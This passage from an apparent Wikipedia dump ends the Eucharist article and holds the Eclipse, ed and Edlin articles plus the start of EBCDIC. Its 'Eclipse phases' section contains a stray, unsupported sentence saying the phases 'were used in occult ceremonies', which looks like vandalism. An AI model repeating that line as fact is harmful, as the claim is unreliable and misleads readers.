The Lutheran Eucharistic service is similar in form to the Roman Catholic and &quot;high&quot; Anglican services. Administration of the bread and wine varies between congregations. The bread can be a thin wafer, or leavened or unleavened bread. The wine or grape juice may be administered via a common cup (the &quot;chalice&quot;), or through individual cups that may be either prefilled or filled from the chalice during the communion. Intinction is acceptable, but rarely used. Some congregations that use wine make grape juice available for those who are abstaining from alcohol, and some will accommodate those with an allergy to wheat or grapes.

====Reformed/Presbyterian====
&lt;!-- In my experience, this has been about the same as the Minimalist practice, described below, although there are &quot;high church&quot; Reformed whose liturgy is much more similar to that of an Anglican or Lutheran church.  Should we talk about current Reformed practice, historic Reformed practice (i.e. Calvin's Geneva, Covenanters, Puritans, Southern Presbyterians of the 1800s - not that all those are the same (they're actually quite different), or both? --&gt;
{{section-stub}}
====Minimalist==== &lt;!-- Is this name actually used by the groups being discussed? would Zwinglian/memorialist be more appropriate? --&gt;
The elements of the ''Lord's Supper'' are most commonly unleavened bread and wine{{ref|Minimalist}}. In traditions in which [[temperance movement]]s have had strong influence, grape juice is substituted for wine. The term &quot;grape juice&quot; is usually not used in services; instead terms such as &quot;unfermented wine,&quot; &quot;wine,&quot; &quot;the fruit of the vine,&quot; or simply &quot;the cup&quot; are used. Teachers from such movements often assert that ''{{Polytonic|οἶνον}}'', the Greek word which is used in the New Testament, and which is usually understood as meaning &quot;wine&quot;, may mean &quot;either fermented or unfermented wine&quot;, a claim unknown prior to the temperance movement. A few [[Holiness movement|Holiness]] bodies, as well as the [[Mormons]], substitute water for wine.

===Jehovah's Witnesses===
[[Jehovah's Witnesses]] commemorate Christ's death as a ransom or propitiatory sacrifice by observing The Lord's Evening Meal, or Memorial, each year on [[Nisan]] 14 according to the ancient Jewish calendar. They believe that this is the only celebration commanded for Christians in the Bible. In support, they often quote Jesus' words: &quot;'Keep doing this ... in remembrance of me.' For as often as ''you'' eat this loaf and drink this cup, ''you'' keep proclaiming the death of the Lord, until he arrives.&quot; (1 Corinthians 11:25, 26, NWT) Of those who attend the Memorial a small minority worldwide will partake of the eating of the unleavened bread and the drinking of the wine. (For statistics of the number of partakers in relationship to non-partakers, see [[Jehovah's Witnesses#Membership|Jehovah's Witnesses (Membership)]])

Jehovah's Witnesses believe that only a small minority, called the &quot;anointed,&quot; can partake of the bread and wine. (see [[Doctrines of Jehovah's Witnesses#Salvation|Doctrines of Jehovah's Witnesses (Salvation)]]) Those who actually partake are generally considered to be among the &quot;anointed,&quot; though Jehovah's Witnesses believe that some of them may be in error.

The celebration of the Memorial of Christ's Death proceeds as follows: In advance of the Memorial, Jehovah's Witnesses invite anyone that may be interested to attend this special night. The week of the Memorial is generally filled with special activity in the ministry , such as door-to-door work. A suitable hall, for example a [[Kingdom Hall]], is prepared for the occasion. The Memorial begins with a song and a prayer. The prayer is followed by a discourse on the importance of the evening. A table is set with wine and unleavened bread. Jehovah's Witnesses believe the bread stands for Jesus Christ's body which he gave on behalf of mankind, and that the wine stands for his blood which redeems from sin. They do not believe in transubstantiation or consubstantiation. Hence, the wine and the bread are merely symbols (sometimes referred to as &quot;emblems&quot;), but they have a very deep and profound meaning for Jehovah's Witnesses. A prayer is offered and the bread is circulated among the audience. Only those who are &quot;anointed&quot; partake. Then another prayer is offered, and the wine is circulated in the same manner. After that, the evening concludes with a final song and prayer.

It is common for the bread and wine to be passed and have no partakers.

=== Open and closed communion ===
{{main articles|[[Open communion]] and [[Closed communion]]}}
{{seealso|Full communion}}

[[Christianity|Christian]] denominations differ in their understanding of whether they may receive the Eucharist together with those not in [[full communion]] with them. [[Closed communion]] was the universal practice of the early Church. The famed apologist [[Saint|St.]] [[Justin Martyr]] (c. 150) wrote: &quot;No one else is permitted to partake of it, except one who believes our teaching to be true....&quot; For the first several hundred years of Church history, non-members were forbidden even to be present at the sacramental ritual; visitors and [[catechumen]]s (those still undergoing instruction) were dismissed halfway through the liturgy, after the Bible readings and sermon but before the Eucharistic rite. The [[Divine Liturgy]] of St. John Chrysostom, used in the Byzantine Churches, still has a formula of dismissal of catechumens (not usually followed by any action) at this point.

The ancient Churches, such as the [[Roman Catholic Church|Roman Catholic]] and the [[Eastern Orthodoxy|Eastern Orthodox]] exclude non-members from Communion under normal circumstances, though they may allow exceptions, e.g. for non-members ''in danger of death'' who share their faith in the reality of the Eucharist and who are unable to have access to a minister of their own religion. Many conservative [[Protestant]] communities also practice closed communion, including conservative [[Lutheran]] Churches like the [[Lutheran Church, Missouri Synod]] and the [[Wisconsin Evangelical Lutheran Synod]]. The [[Mennonite]]s and the [[Landmark Baptist Church|Landmark Baptist Church]]es also practice closed communion, as a symbol of exclusive membership and loyalty to the distinctive doctrines of their fellowship.

Most [[Protestant]] communities practice [[open communion]], including some [[Anglican]], [[Reformed]], [[Evangelicalism|Evangelical]], [[Methodism|Methodist]], and more-liberal [[Lutheran]]s (such as the [[Evangelical Lutheran Church in America]] and the [[Church of Sweden]]). Some open communion communities adhere to a symbolic or spiritual understanding of the Eucharist, so that they have no fear of sacrilege against the literal body and blood of Christ if someone receives inappropriately. Others feel that Christ calls ''all'' of his children to his table, regardless of their denominational affiliation. Many churches that practice open communion offer it only to [[baptized]] Christians (regardless of denomination), although this requirement is typically only enforced by the recipients' honesty.

==Alleged association with pre-Christian theophagy==
Some writers have expounded the theory that an idea of &quot;theophagy&quot; (eating one's god), or at least of feeding on the life-force of a mystical entity, was characteristic of the central rites of some Greco-Roman and Near-Eastern [[mystery religion]]s. Claiming that the acts and ordinances of Jesus and his apostles were memorialized in that context, they suggest that the mystical benefits that Christianity attributes to the Eucharist are associated with those allegedly proclaimed by proponents of [[animal sacrifice]]s and of [[cannibalism]] among these mystery cults, and contend that the Eucharist can be seen as translating the vestiges of ancient animal sacrifice and/or ritualistic cannibalism into the current age.

The first Christians were either Jews themselves or &quot;the God-fearing&quot; ([[Gentile]]s who attended Jewish synagogue services but held back from becoming [[proselyte]]s; cf. Acts of the Apostles 13:16, 26). Christianity thus began among people who would reject any idea of eating actual human flesh and drinking blood of any kind, who avoided pagan mystery cults, and who would completely exclude a cannibalistic interpretation of their &quot;eating this bread and drinking this cup&quot; (1 Corinthians 11:28), a rite which they nevertheless believed brought them into true relationship with the body and blood of Christ. This First Letter to the Corinthians, written as early as the year 57, shows that the custom of celebrating the Eucharist dated from the very beginning of Christianity, when Christianity was still an entirely Jewish phenomenon, as the Acts of the Apostles, which was written later, also states. Other writers therefore argue that the practice arose from the reenactment by these very first Christians of something that Jesus did and said at his last supper, what has been called &quot;a unique form of Table fellowship&quot;. And while, by the time of the writing of [[Paul of Tarsus|Paul]]'s first letter to the Corinthians, Christianity was beginning to spread among people of whom some may have been former adherents of mystery cults and may have attached to the rite meanings not originally associated with it, they maintain that there is no reason to suppose that the Jewish Paul shared such ideas.

&lt;!-- Add a discussion of Justin Martyr's claims in his First Apology in regard to Mithraism as a satanic copy of Christian rituals (despite the fact that Mithraic rites are more primitive.) --&gt;
==Footnotes==
*{{note|Last_Supper}}: Luke 22:19; 1 Corinthians 11:24-25
*{{note|sacrament}} as Anabaptist leader [[Pilgram Marpeck]] put it, &quot;The true meaning of communion is mystified and obscured by the word sacrament.&quot; Nevertheless as far as his theology goes Marpeck was decidedly more incarnational than many of his Anabaptist peers, and thus closer to the Roman Catholic position than even Zwingli.
*{{note|Holy_Mysteries}}: cf. {{cite book
 | author=Pope Benedict XVI
 | year=2006
 | title=Compendium of the Catechism of the Catholic Church
 | pages=275
 | publisher=USCCB
 | authorlink=Pope Benedict XVI
 }}, and
::{{cite book
 | author=Catholic Church
 | year=200
 | title=Catechism of the Catholic Church
 | edition = Second Edition
 |  others=1328-1332
 | id=ISBN 0385508190
 | url = http://www.scborromeo.org/ccc/p2s2c1a3.htm#1328
 }}
*{{note|ASED}}:  See Article 9 of the ''Agreed Statement of Eucharist Doctrine''. &lt;!--Needs bibliographic details--&gt;
*{{note|Minimalist}} e.g., see {{cite book
 | first=J. R. | last=Graves
 | year=1928
 | title=What is It to Eat and Drink Unworthily
 | publisher=Baptist Sunday School Committee
 | id=ASIN B00087HTF4}}

==Resources==
*1963 edition of ''The New Saint Joseph: First Communion Catechism'', Baltimore Catechism
*Anderson, S. E. ''The First Communion'' 
*[[Martin Chemnitz|Chemnitz, Martin]]. ''The Lord's Supper.'' J. A. O. Preus, trans. St. Louis: Concordia, 1979. ISBN 0-570-03275-X
*[[Dom Gregory Dix|Dix, Dom Gregory]]. ''The Shape of the Liturgy.'' London: Continuum International, 2005. ISBN 0826479421
*Elert, Werner. ''Eucharist and Church Fellowship in the First Four Centuries.'' N. E. Nagel, trans. St. Louis: Concordia Publishing House, 1966. ISBN 0-570-04270-4
*Felton, Gayle. ''This Holy Mystery''. Nashville: Discipleship Resources, 2005. ISBN 088177457X
*Father Gabriel. ''Divine Intimacy.'' Rockford, IL: Tan Books and Publishers, Inc., 1996 reprint ed. ISBN 0895555042
*Grime, J. H. ''Close Communion and Baptists'' 
*Jurgens, William A. ''The Faith of the Early Fathers''. Collegeville, MN: The Liturgical Press, 1970. ISBN 0814604323
*Kolb, Robert and Timothy J. Wengert, eds. ''[[The Book of Concord]]: The Confessions of the Evangelical Lutheran Church.'' Minneapolis: Fortress Press, 2000. (ISBN 0800627407)
*Lefebvre, Gaspar. ''The Saint Andrew Daily Missal''. Reprint. Great Falls, MT: St. Bonaventure Publications, Inc., 1999.
*Macy, Gary. ''The Banquet’s Wisdom: A Short History of the Theologies of the Lord’s Supper''. (2005, ISBN 1878009508)
*McBride, Alfred, O.Praem. ''Celebrating the Mass.'' Our Sunday Visitor, 1999.
*[[John Williamson Nevin|Nevin, John Williamson]]. ''The Mystical Presence: A Vindication of the Reformed or Calvinistic Doctrine of the Holy Eucharist.''  1846; Wipf &amp; Stock reprint, 2000.  ISBN 1579103480.
*[[Thomas Oden|Oden, Thomas C]]. ''Corrective Love: The Power of Communion Discipline.'' St. Louis: Concordia Publishing House, 1995. ISBN 0-570-04803-6
*[[Hermann Sasse|Sasse, Hermann]]. ''This Is My Body: Luther's Contention for the Real Presence in the Sacrament of the Altar.'' Eugene, OR: Wipf &amp;amp; Stock, 2001. ISBN 1579107664
*[[Alexander Schmemann|Schmemann, Alexander]]. ''The Eucharist''. St Vladimir's Seminary Press, 1997. ISBN 0881410187
*Stoffer, Dale R. ''The Lord's Supper: Believers Church Perspectives'' 
*Stookey, L.H. ''Eucharist: Christ's Feast with the Church''. Nashville: Abingdon, 1993 ISBN 0687120179
*Tissot, The Very Rev. J. ''The Interior Life''. 1916, pp. 347-9.
*[[N.T. Wright|Wright, N. T]]. ''The Meal Jesus Gave Us''

==See also==
*[[Eucharistic discipline]]
*[[Eucharistic theology]]
*[[Eucharistic theologies contrasted]]
*[[Open communion]]
*[[Year of the Eucharist]]

==External links==
{{Commons|Eucharist}}
*[http://www.savior.org/ http://www.savior.org/] - Live Video Stream of the Eucharist

=== Liturgical texts &amp; services ===
*[http://www.catholicliturgy.com/index.cfm/FuseAction/TextContents/Index/4/SubIndex/67/TextIndex/9 The Ordinary of the Mass, Roman Rite]  according to current edition of the Roman Missal 
*[http://www.sacred-texts.com/chr/lmass/ord.htm The Ordinary of the Sacred Liturgy according to the Roman Missal of 1962]
*[http://www.sspeterpaul.org/priest.html The Priest's Service Book] Orthodox Divine Liturgy.
*[http://www.bcponline.org/ The Book of Common Prayer], used by the Episcopal Church (ECUSA). Contains the liturgy for the Eucharist and other rites.

=== History, theology, etc. ===
*[http://www.newadvent.org/cathen/05572c.htm Eucharist in the Catholic Encyclopedia]
*[http://www.ewtn.com/faith/teachings/euchmenu.htm EWTN - The Holy Eucharist] - Easy yet comprehensive website with Catholic Teaching on the Eucharist
*[http://www.usccb.org/catechism/text/pt2sect2chpt1art3.htm#1376 Paragraph 1376 of the Catechism of the Catholic Church]
*[http://www.gbod.org/worship/thisholymystery/default.html This Holy Mystery: A United Methodist Understanding of Holy Communion]
*[http://gbgm-umc.org/Umhistory/Wesley/sermons/serm-101.stm The Duty of Constant Communion] by John Wesley
*[http://www.emersoncentral.com/lordsupper.htm The Lord's Supper] - by Ralph Waldo Emerson, rejecting the Lord's supper as a perpetual rite.
* [http://www.mybrethren.org/truth/framlssg.htm My Brethren - Studies - The Lord's Supper and the Service of God]
*[http://www.twinbrook.net/view/?pageID=8173 a Baptist viewpoint]
*[http://www.churches-of-christ.net/tracts/job003u.htm a Church of Christ viewpoint]
*[http://www.thirdway.com/menno/as/as7.asp a Mennonite viewpoint]
*[http://www.graceonlinelibrary.org/articles/full.asp?id=25|52|367 a Reformed (Presbyterian) viewpoint]
*[http://www.anabaptistnetwork.com/book/print/226 Pilgram Marpeck's defense of continuing to practice Lord's Supper (1531)]

[[Category:Sacraments]]
[[Category:Luminous Mysteries]]
[[Category:Christian liturgy, rites, and worship services]]
[[Category:Catholic Eucharistic Theology]]
[[Category:Methodism]]
[[Category:Christian theology]]
[[Category:Ceremonial food and drink]]

[[ca:Eucaristia]]
[[cs:Eucharistie]]
[[de:Abendmahl]]
[[eo:Komunio]]
[[es:Eucaristía]]
[[fi:Ehtoollinen]]
[[fr:Eucharistie]]
[[hr:Euharistija]]
[[id:Ekaristi]]
[[it:Eucaristia]]
[[ja:聖餐]]
[[la:Eucharistia]]
[[nl:Eucharistie]]
[[nn:Nattverd]]
[[no:Nattverd]]
[[pl:Eucharystia]]
[[pt:Eucaristia]]
[[ro:Frângerea pâinii]]
[[ru:Евхаристия]]
[[sr:Евхаристија]]
[[sv:Nattvard]]
[[uk:Євхаристія]]
[[zh:聖餐禮]]</text>
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  <page>
    <title>Eclipse</title>
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      <text xml:space="preserve">:''This article discusses astronomical eclipses. For other meanings, see [[Eclipse (disambiguation)]].''

[[Image:Solar_eclips_1999_4.jpg|thumb|250px|right|Photo taken during the [[France|French]] [[1999]] eclipse]]

An '''eclipse''' ([[Greek Language|Greek]] verb: ''ecleipo'', &quot;to cease existing&quot; or ''calypse'', &quot;to cover&quot; ) is an astronomical event that occurs when one celestial object moves into the shadow of another.

The term is most often used to describe either a [[solar eclipse]], when the Moon's shadow crosses Earth's surface, or a [[lunar eclipse]], when the Moon moves into the shadow of Earth. However, it can also refer to such events beyond the Earth-Moon system: for example, a planet moving into the shadow cast by one of its moons, a moon passing into the shadow cast by its parent planet, or a moon passing into the shadow of another moon.  A solar ''eclipse'' is actually a misnomer; the phenomenon is actually an [[occultation]].

An eclipse is a type of [[syzygy]], as are [[Astronomical_transit|transits]] and [[Occultation|occultations]].

==Eclipses in the Earth-Moon system==
An eclipse involving the Sun, Earth and Moon can only occur when they are in a line. Because the plane of the [[orbit]] of the Moon is tilted with respect to the plane of the [[orbit]] of the Earth (the [[ecliptic]]), eclipses occur only when the three bodies are near the intersection (the [[node (astronomy)|node]]) of these planes. The Sun passes either node once a [[year]], and eclipses occur in a period of about two [[draconic month]]s around these times. There can be from four to seven eclipses in a calendar [[year]]. They repeat according to [[eclipse cycle]]s.

===Types of eclipse===
[[image:eclipse99mir.jpg|right|frame|1999 Total solar eclipse seen from the [[Mir]] space station]]
The most dramatic eclipses visible from [[Earth]] are:
* '''[[Lunar eclipse]]s''' - the Earth obscures the Sun, from the [[Moon]]'s point of view. The Moon moves through the [[shadow]] cast by the Earth. This can only happen at [[full moon]].
* '''[[Solar eclipse]]s''' - the Moon [[occultation|occults]] the Sun, from the Earth's point of view. The Moon casts a shadow that touches the surface of the Earth. This can only happen at [[new moon]].

These eclipses can be divided into different types:
*'''Total eclipses''', in which the light source is totally blocked off by the eclipsing body. For total solar eclipses, the viewer is in the [[umbra]] part of the Moon's shadow.
*'''Partial eclipses''', in which only part of the luminary is covered (solar eclipses), or when only part of a body is eclipsed by the shadow (lunar eclipses). For solar eclipses, the viewer is in the [[penumbra]] part of the Moon's shadow.
*'''Annular eclipse''', which are a total eclipse of luminary where a thin ring of light is visible around the intervening object. For solar eclipses, the viewer is in the [[antumbra]] part of the Moon's shadow. It is pure coincidence that the Moon and Sun have nearly equal apparent sizes, making annular eclipses possible. Annular eclipses are ideal times for observing [[solar prominence]]s.
*'''Hybrid''' solar eclipses, which consists of three phases: the eclipse starts as an annular one, then turns into a total and by the end it returns to the annular phase.

=== Eclipse phases ===
[[Image:Solar_eclips_1999_5.jpg|thumb|250px|right|Photo taken by [[User:Lviatour|Luc Viatour]] during the [[France|French]] [[1999]] eclipse]]These were used in occult ceremonies.

=== General phases of a solar eclipse ===

* The '''general eclipse''' begins when the Moon's penumbra cone starts to sweep across the Earth's disc.
* The '''total''' or '''annular eclipse''' begins when the Moon's umbra starts to sweep across the Earth's disc.
* The '''[[centrality]]''' begins when the axis of the Moon's shadow cone starts to sweep across the Earth's disc.
* The eclipse's '''maximum''' occurs when the terrestrial surface within the umbra reaches its largest area.
* The centrality ends when the axis of the Moon's shadow finishes its sweep across the Earth's disc.
* The total or annular eclipse ends when the Moon's shadow finishes its sweep across the Earth's disc.
* The general eclipse ends when the Moon's penumbra finishes its sweep across the Earth's disc.

[[Image:Film_eclipse_soleil_1999.jpg|thumb|400px|right|Photo taken by [[User:Lviatour|Luc Viatour]] during the [[France|French]] [[1999]] eclipse]]

=== Local phases of a solar eclipse ===

* '''First contact''' (also called '''first exterior contact''') is the instant when the Moon's disc starts to cover the Sun's.
* '''Second contact''' (also called '''first interior contact''') is the instant when the Moon's disc is entirely surrounded by the Sun's (for an annular eclipse) or the instant when the Sun's disc disappears completely behind the Moon's (for a total eclipse).
* '''Third contact''' (also called '''second interior contact''') is the instant when the Moon's disc starts to come out of the Sun's (for an annular eclipse) or the instant when the Sun's disc reappears from behind the Moon's (for a total eclipse).
* Lastly, '''fourth contact''' (also called '''second exterior contact''') is the instant when the Moon's disc clears the Sun's.

=== Phases of a lunar eclipse ===

There are three types of lunar eclipses: '''penumbral''', when the Moon crosses only the Earth's penumbra; '''partial''', when the Moon crosses partially into the Earth's umbra; and '''total''', when the Moon crosses entirely within the Earth's umbra.

[[Image:Eclipse_lune.jpg|thumb|300px|right|Photo taken by [[User:Lviatour|Luc Viatour]] ]]

* '''First contact''' (also called '''first exterior contact''') is the instant when the Moon starts to enter into the Earth's umbra.
* '''Second contact''' (also called '''first interior contact''') is the instant when the Moon enters completely into the Earth's umbra. This is the beginning of '''[[totality]]'''.
* The '''maximum''' of the eclipse occurs when the angular distance between the centre of the Moon's disc and the centre of the shadow cone is at its smallest value.
* '''Third contact''' (also called '''second interior contact''') is the instant when the Moon starts to come out of the Earth's umbra. This is the end of totality.
* Lastly, '''fourth contact''' (also called '''second exterior contact''') is the instant when the Moon clears the Earth's umbra completely.

=== The eclipse in mythology ===

[[Image:EclipseCarving.jpg|thumb|right|300px|Han Dynasty Carving]]

Before modern astronomy arose there were long-standing explanations for eclipses in many cultures. These would typically involve conflicts between mythic forces. For example, in Hindu mythology, the two demons [http://www.sanskrit.org/www/Astronomy/Rahu.html Rahu]and Ketu were believed to be the cause of eclipses. Similarly in China, at the Imperial observatory in Beijing, is a carved stone with the following explanation:

:&quot;This carved stone chart explained the cause of solar eclipses. The center of the golden bird (the symbol of the sun) was covered by the toad (the symbol of the moon). The people of the [[Han Dynasty]] called the phenomenon a good combination of the sun and the moon.&quot;

In this explanation we see a recognition of the celestial realities and a cheerful outlook regarding the event. In other cultures an eclipse could be both a surprising and a terrifying event.

===The eclipse in astrology===

In the field of [[astrology]] an eclipse is said to activate the exact degree of the [[ecliptic]] that the eclipse falls upon, in one of the 12 astrological signs. Traditionally, eclipses were said to have a ''malefic'' influence, that supposedly being a more negative and ominous influence rather than a positive one. (''see also'': [[omen]])

==Eclipses elsewhere in the solar system==
[[image:JupiterandIo.jpg|thumb|250px|right|A picture of [[Jupiter]] and its moon [[Io (moon)|Io]] taken by [[Hubble Space Telescope|Hubble]]. The black spot is Io's shadow.]]
Eclipses are impossible on [[Mercury (planet)|Mercury]] and [[Venus]], which have no moons.

On [[Mars]], only partial eclipses are possible, because neither of its moons is large enough to cover the Sun's disc. Martian eclipses have been photographed from both the surface of Mars and from orbit. See [[Transit of Phobos from Mars]] and [[Shadow of Phobos on Mars]].

The [[gas giants]], which have many moons, frequently display eclipses. The most striking involve [[Jupiter]], which has four large moons, and which has a low [[axial tilt]], making eclipses more frequent. It is common to see the larger moons casting circular shadows upon Jupiter's cloudtops.

[[Pluto]], with its large moon [[Charon (moon)|Charon]], is also the site of many eclipses.

==See also==
* [[Eclipse cycle]]
* [[Eclipsing binary]]
* ''[[Faraon|Pharaoh]]'' ([[historical novel]] by [[Boleslaw Prus|Boles&amp;#322;aw Prus]], incorporating a [[solar eclipse|solar-eclipse]] scene likely inspired by [[Christopher Columbus]]' use of a [[lunar eclipse|lunar-eclipse]] prediction).
* [[Saros cycle]]

== External links ==

The following web page lists many of the cycles over which solar and lunar eclipses repeat, including the [[Saros]] and [[Inex]]:
* http://www.phys.uu.nl/~vgent/calendar/eclipsecycles.htm

Search 5,000 years of eclipse data by type, magnitude, Saros number or simply by year on the following site:
* http://www.hermit.org/Eclipse/when_search.shtml (loads slowly)

Dr. Fred Espenak's eclipse site:

* http://sunearth.gsfc.nasa.gov/eclipse/eclipse.html

Stunning Solar and Lunar Eclipse Sequences and Photos:

* http://www.perseus.gr/Astro-Eclipses.htm

Interactive eclipse maps site:

* http://xjubier.free.fr/en/site_pages/SolarEclipsesGoogleMaps.html

Prof. Druckmüller's eclipse photography site:

* http://www.zam.fme.vutbr.cz/~druck/Eclipse/

Windows software for finding eclipse dates and times:

* http://www.hermetic.ch/lcef/lcef.htm

[[Category:Eclipses| ]]
[[Category:Astronomical events]]

[[ar:كسوف الشمس]]
[[ca:Eclipsi]]
[[de:Verfinsterung]]
[[el:Έκλειψη]]
[[es:Eclipse]]
[[fr:Éclipse]]
[[gl:Eclipse]]
[[ko:식현상]]
[[he:ליקוי מאורות]]
[[ms:Gerhana]]
[[nl:Eclips]]
[[pl:Zaćmienie]]
[[pt:Eclipse]]
[[ru:Затмение]]
[[sk:Zatmenie]]
[[th:อุปราคา]]</text>
    </revision>
  </page>
  <page>
    <title>Ed</title>
    <id>9771</id>
    <revision>
      <id>40896596</id>
      <timestamp>2006-02-23T19:10:04Z</timestamp>
      <contributor>
        <username>Shanes</username>
        <id>94147</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/156.63.21.14|156.63.21.14]] ([[User talk:156.63.21.14|talk]]) to last version by Tobias Bergemann</comment>
      <text xml:space="preserve">{{alternateuses}}
{{lowercase|title=ed}}

The [[text editor]] '''ed''' was the original standard on the [[Unix]] operating system.  ed was originally written by [[Ken Thompson]] and he implemented [[regular expression]] in ed for the first time.  Prior to that implementation, the concept of regular expressions was only formalized in a mathematical paper, which Ken Thompson had read. ed was influenced by an earlier editor known as [[QED (text editor)|QED]] from University of California at Berkeley, where Ken Thompson had graduated from. ed went on to influence [[Ex (editor)|ex]], which in turn spawned [[vi]]. The non-interactive Unix commands [[grep]] and [[sed]] were inspired by common special uses of ed; their influence is visible in the design of the programming language [[AWK programming language|AWK]], which in turn inspired aspects of [[Perl programming language|Perl]]. 

Famous for its terseness, ed has almost no visual feedback. For example, the message that ed will produce in case of error, or when it wants to make sure you want to quit without saving, is &quot;?&quot;.  It does not report the current filename or line number, or even display the results of a change to the text, unless requested. This terseness was appropriate in the early versions of Unix, when consoles were [[teletype]]s, [[modem]]s were slow, and [[hard disk]] and [[random Access Memory|memory]] were precious, but these advantages ceased to apply when more interactive editors became the standards.

In current practice ed is rarely used interactively, but it does find use in some [[shell script]]s.  For interactive use, ed was subsumed by [[sam (program)|sam]], [[vi]] and [[Emacs]] editors in the [[1980s]].  ed can be found on virtually every version of Unix and [[Linux]] available; people who have to work with multiple versions of Unix often know at least the basic ed commands. If something goes wrong, and the OS is somehow not fully loaded, ed is sometimes the only editor available. This is often the only time when it is used interactively, aside maybe from torturing first year students.

The ed commands are often imitated in other line-based editors. For example, [[edlin|EDLIN]] in early [[MS-DOS]] versions had somewhat similar syntax, and text editors in many [[MUD]]s ([[LPMud]] and descendants, for example) use ed-like syntax. These editors, however, are typically more limited in function.

==Example session==
Here is an example transcript of an ed session:

 a
 ed is the standard Unix text editor.
 This is line number two.
 .
 2i
  &amp;nbsp;
 .
 1,$l
 ed is the standard Unix text editor.$
 $
 This is line number two.$
 3s/two/three/
 1,$l
 ed is the standard Unix text editor.$
 $
 This is line number three.$
 w text
 65
 q

The end result is a simple text file containing the following text:

 ed is the standard Unix text editor.
  &amp;nbsp;
 This is line number three.

== Explanation of the example ==
Here we started with an empty file, and used ''a'' to append text (all ed commands are single letters). That put us into ''insert mode'', which is terminated by a singular dot on a line. The two lines that we entered before the dot end up in the file buffer. ''2i'' goes into insert mode, and will insert the entered text (a single empty line in our case) before line two. All commands may be prefixed by a line number and will operate on that line.

In ''1,$l'' the l stands for the list command. This time we prefixed the command by a range, two lines separated by a comma ($ means the last line). In return, ed is listing all lines, from first to last. These lines are ended with dollar signs, so that white space at the end of lines is clearly visible.

We will correct the error in line 3 with ''3s/two/three/'', a substitution command. The 3 will apply it to the right line, following the command is the text to be replaced, and then the replacement. Listing all lines again with ''1,$l'' we see that the line is correct now.

''w text'' writes the buffer to the file &quot;text&quot;. ed responds with ''65'', which is the number of characters that it wrote to the file. ''q'' will end our ed session.

== Bill Joy, vi, and ed ==

In the [[editor wars]], [[emacs]] proponents used to say, &quot;even [[Bill Joy]] doesn't use vi anymore.&quot;

In a [[1985]] interview Bill Joy explained that, at Sun, he used an early desktop publishing program, called '''interleaf'''; when visiting labs outside Sun, he used plain old ed.  Although vi was almost ubiquitous,  he could not count on the local version working the way he expected.  However, ed was never modified, so he could count on making it work without making himself look like a fool.

==External links==
*[http://www.gnu.org/software/ed/ed.html GNU ed homepage]
*[http://snap.nlc.dcccd.edu/learn/nlc/ed.html Unix Editors I]
*[http://www.gnu.org/fun/jokes/ed.msg.html ed Humor]
*[http://www.linuxmanpages.com/man1/ed.1.php The program's [[manpage]]]


[[Category:Linux text editors]]
[[Category:Mac OS text editors]]
[[Category:Unix software]]

[[cs:Ed]]
[[de:Ed]]
[[fr:Ed (logiciel)]]
[[it:Ed]]
[[pl:Ed]]
[[ru:Ed]]</text>
    </revision>
  </page>
  <page>
    <title>Edlin</title>
    <id>9772</id>
    <revision>
      <id>42001386</id>
      <timestamp>2006-03-03T03:39:46Z</timestamp>
      <contributor>
        <ip>84.73.154.80</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Edlin''' is a [[line editor]] included with [[MS-DOS]] and later [[Microsoft]] operating systems.  It provides rudimentary capabilities for editing plain text files through a command-driven interface.  Line numbers are specified using numerals, and operations are specified using single-character alphabetic commands (e.g. &quot;5d&quot; instructs the program to delete the 5th line of the file).

It was the only [[text editor]] provided with MS-DOS before version 5.0 of that system, when it was superseded by the full screen [[Edit (MS-DOS)|edit]] editor. However, Edlin is still available in [[Microsoft Windows]] operating systems up to and including at least [[Windows Server 2003]] and [[Windows XP]]. Unlike most other external DOS commands, it has not been transformed into a native, [[Win32]] program. Its persistence can probably be explained by the fact that it can be invoked to automatically perform small modifications on text files, by piping a [[script (computer programming)|script]] of commands to it through standard input.

MS-DOS actually did contain another visual editor: [[GW-BASIC]], [[Microsoft BASIC]]'s interpreter and development environment. Unsurprisingly, the EDIT editor of later MS-DOS versions actually invoked [[QBasic]], which over time replaced GW-BASIC and had a more modern user interface.

Edlin is probably modelled after the line editors [[QED (text editor)|QED]] or [[ed]].

Edlin was created by [[Tim Paterson]] in two weeks in 1980, and was expected to have a six-month shelf life. [http://www.patersontech.com/Dos/Byte/History.html].  Edlin was actually originally written for [[Seattle Computer Products]]'s [[QDOS]], which only later got bought by Microsoft in order to become MS-DOS.

[[Gregory Pietsch]] has written a [[GNU General Public License|GPL]]'d [[clone (computer science)|clone]] of Edlin. The clone is available for download as part of the [[FreeDOS]] project, and runs on operating systems such as [[Linux]] or [[Unix]] as well as MS-DOS. The clone's outputted messages can also be customized for a variety of European languages and can be compiled with a variety of [[C programming language|C]] compilers.

==External links==
*http://www.computerhope.com/edlin.htm - MS-DOS edlin command help

[[Category:DOS software]]
[[Category:Windows text editors]]

[[fr:EDLIN]]
[[nl:EDLIN]]
[[sv:EDLIN]]</text>
    </revision>
  </page>
  <page>
    <title>EBCDIC</title>
    <id>9773</id>
    <revision>
      <id>41615031</id>
      <timestamp>2006-02-28T15:05:06Z</timestamp>
      <contributor>
        <username>Suruena</username>
        <id>140178</id>
      </contributor>
      <comment>wikified some words</comment>
      <text xml:space="preserve">'''EBCDIC''' (Extended [[Binary Coded Decimal#IBM and BCD|Binary Coded Decimal]] Interchange [[Code]]) is an 8-[[bit]] [[character encoding]] ([[code page]]) used on [[IBM mainframe]] [[operating systems]], like [[z/OS]], [[OS/390]], [[VM (Operating system)|VM]] and [[VSE]], as well as [[IBM minicomputer]] operating systems like [[OS/400]] and [[i5/OS]].  It is also employed on various non-IBM platforms such as [[Fujitsu]]-[[Siemens AG|Siemens]]' [[BS2000|BS2000/OSD]], [[HP]] [[MPE/iX]], and [[Unisys]] [[Master Control Program|MCP]]. It descended from [[punched card]]s and the corresponding six bit [[binary-coded decimal]] code that most of IBM's computer peripherals of the late [[1950s]] and early [[1960s]] used. 

==History==

EBCDIC was devised in [[1963]] and [[1964]] by [[IBM]] and was announced with the release of the [[System/360|IBM System/360]] line of mainframe [[computer]]s. It was created to extend the [[Binary-coded_decimal#IBM_and_BCD|Binary-Coded Decimal]] that existed at the time. EBCDIC was developed separately from [[ASCII]]. EBCDIC is an 8-bit encoding, versus the 7-bit encoding of ASCII.

All IBM mainframe [[peripheral]]s and [[operating system]]s use EBCDIC. Their operating systems provide ASCII and [[Unicode]] modes for translating between different encodings. Translation can occur within the hardware peripheral or in the software as required by the application.

